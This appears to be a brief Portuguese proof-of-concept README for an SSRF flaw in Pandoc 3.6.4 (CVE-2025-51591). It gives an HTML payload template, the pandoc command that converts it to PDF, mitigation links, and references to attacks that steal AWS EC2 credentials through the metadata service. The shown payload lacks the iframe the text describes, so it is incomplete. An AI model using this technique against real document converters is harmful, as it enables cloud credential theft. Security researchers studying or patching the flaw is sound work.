CVE-2025-51591 POC de SSRF no Pandoc

Uma Server-Side Request Forgery (SSRF) no JGM Pandoc v3.6.4 permite que atacantes obtenham acesso e comprometam toda a infraestrutura ao injetar um iframe malicioso.

Instalar Pandoc

https://pandoc.org/installing.html

Exemplo de Payload

⚠️ substitua a url do iframe pela sua própria url OAST. ⚠️

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CVE-2025-51591 Proof Of Concept</title>
</head>

<body>
    <h1>
        CVE-2025-51591 Proof Of Concept
    </h1>
    
</body>

</html>

Converter Payload para PDF Usando Pandoc

pandoc payload.html -o output1.pdf

Estratégias de Mitigação

https://github.com/jgm/pandoc/issues/10682#issuecomment-2718343529
https://pandoc.org/MANUAL.html#a-note-on-security

Referências

Hackers Exploram Pandoc CVE-2025-51591 para Atacar AWS IMDS e Roubar Credenciais IAM do EC2
IMDS Abusado: Caçando Comportamentos Raros para Revelar Explorações
SSRF ao Gerar PDFs a partir de HTML Controlado pelo Usuário

CVE-2025-51591-Pandoc-SSRF-POC

Mais Populares